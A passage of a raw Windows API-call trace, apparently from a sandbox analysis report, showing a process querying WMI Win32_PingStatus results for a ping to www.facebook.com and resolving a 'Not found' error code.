lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0140.663] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0140.663] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0140.664] SafeArrayGetLBound (in: psa=0x5c78db8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0140.664] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.664] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.664] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.664] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.664] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.664] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.664] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.664] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.664] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.664] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.664] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.664] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.664] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.664] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.664] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.664] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.664] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.664] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.664] SysStringByteLen (bstr="__PATH") returned 0xc [0140.665] SysStringByteLen (bstr="__PATH") returned 0xc [0140.665] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e6f84*=0, plFlavor=0x22e6f88*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22e6f84*=3, plFlavor=0x22e6f88*=64) returned 0x0 [0140.665] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e6fb8*=0, plFlavor=0x22e6fbc*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e6fb8*=8, plFlavor=0x22e6fbc*=64) returned 0x0 [0140.665] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.665] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.665] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7010*=0, plFlavor=0x22e7014*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7010*=8, plFlavor=0x22e7014*=64) returned 0x0 [0140.665] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7038*=0, plFlavor=0x22e703c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e7038*=8, plFlavor=0x22e703c*=64) returned 0x0 [0140.665] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.665] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.666] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7090*=0, plFlavor=0x22e7094*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e7090*=8, plFlavor=0x22e7094*=64) returned 0x0 [0140.666] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.666] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.666] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7270*=0, plFlavor=0x22e7274*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22e7270*=3, plFlavor=0x22e7274*=64) returned 0x0 [0140.666] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e72a4*=0, plFlavor=0x22e72a8*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78cc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22e72a4*=8200, plFlavor=0x22e72a8*=64) returned 0x0 [0140.666] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e72d8*=0, plFlavor=0x22e72dc*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22e72d8*=8, plFlavor=0x22e72dc*=64) returned 0x0 [0140.666] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.666] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.666] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7324*=0, plFlavor=0x22e7328*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22e7324*=8, plFlavor=0x22e7328*=64) returned 0x0 [0140.667] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.667] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.667] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7370*=0, plFlavor=0x22e7374*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e7370*=8, plFlavor=0x22e7374*=64) returned 0x0 [0140.667] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.667] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.667] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0140.667] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0140.667] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.667] IWbemClassObject:Get (in: This=0x5c50300, wszName="ResponseTime", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e75ac*=0, plFlavor=0x22e75b0*=0 | out: pVal=0x572e96c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x22e75ac*=19, plFlavor=0x22e75b0*=0) returned 0x0 [0140.667] IWbemClassObject:Get (in: This=0x5c50300, wszName="ResponseTime", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e75ac*=19, plFlavor=0x22e75b0*=0 | out: pVal=0x572ea20*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x22e75ac*=19, plFlavor=0x22e75b0*=0) returned 0x0 [0140.668] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.668] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.668] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.668] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.668] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.668] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.668] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0140.668] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.668] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.668] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0140.668] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.668] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.668] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.668] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.668] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.669] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.669] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.669] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.669] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.669] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.669] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.669] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.669] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.669] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.669] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.669] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.669] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.669] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.669] SysStringByteLen (bstr="__PATH") returned 0xc [0140.669] SysStringByteLen (bstr="__PATH") returned 0xc [0140.669] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7a58*=0, plFlavor=0x22e7a5c*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22e7a58*=3, plFlavor=0x22e7a5c*=64) returned 0x0 [0140.670] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7a8c*=0, plFlavor=0x22e7a90*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e7a8c*=8, plFlavor=0x22e7a90*=64) returned 0x0 [0140.670] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.670] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.670] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7ae4*=0, plFlavor=0x22e7ae8*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7ae4*=8, plFlavor=0x22e7ae8*=64) returned 0x0 [0140.670] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7b0c*=0, plFlavor=0x22e7b10*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e7b0c*=8, plFlavor=0x22e7b10*=64) returned 0x0 [0140.670] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.670] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.670] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7b64*=0, plFlavor=0x22e7b68*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e7b64*=8, plFlavor=0x22e7b68*=64) returned 0x0 [0140.670] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.670] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.670] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7d44*=0, plFlavor=0x22e7d48*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22e7d44*=3, plFlavor=0x22e7d48*=64) returned 0x0 [0140.671] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7d78*=0, plFlavor=0x22e7d7c*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22e7d78*=8200, plFlavor=0x22e7d7c*=64) returned 0x0 [0140.671] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7dac*=0, plFlavor=0x22e7db0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22e7dac*=8, plFlavor=0x22e7db0*=64) returned 0x0 [0140.671] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.671] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.671] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7df8*=0, plFlavor=0x22e7dfc*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22e7df8*=8, plFlavor=0x22e7dfc*=64) returned 0x0 [0140.671] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.671] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.671] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e7e44*=0, plFlavor=0x22e7e48*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e7e44*=8, plFlavor=0x22e7e48*=64) returned 0x0 [0140.672] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.672] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0140.672] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0140.672] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.672] IWbemClassObject:Get (in: This=0x5c50300, wszName="WriteErrorStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e808c*=0, plFlavor=0x22e8090*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e808c*=0, plFlavor=0x22e8090*=0) returned 0x80041002 [0140.672] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0140.674] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58748) returned 0x0 [0140.674] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58748, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0140.674] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58748, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c58758) returned 0x0 [0140.674] WbemStatusCodeText:IUnknown:Release (This=0x5c58748) returned 0x0 [0140.674] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58758, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c58758) returned 0x0 [0140.674] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58758, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0140.675] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58758) returned 0x3 [0140.675] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58758, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0140.675] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58758, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0140.675] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58758, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0140.675] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0140.675] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0140.675] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58758, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0140.675] WbemStatusCodeText:IUnknown:Release (This=0x5c58758) returned 0x2 [0140.675] WbemStatusCodeText:IUnknown:Release (This=0x5c58758) returned 0x1 [0140.675] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0140.675] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0140.675] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58758, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c58758) returned 0x0 [0140.675] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58758) returned 0x3 [0140.675] WbemStatusCodeText:IUnknown:Release (This=0x5c58758) returned 0x2 [0140.675] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c58758, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0140.675] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.676] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.676] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.677] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.677] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.677] 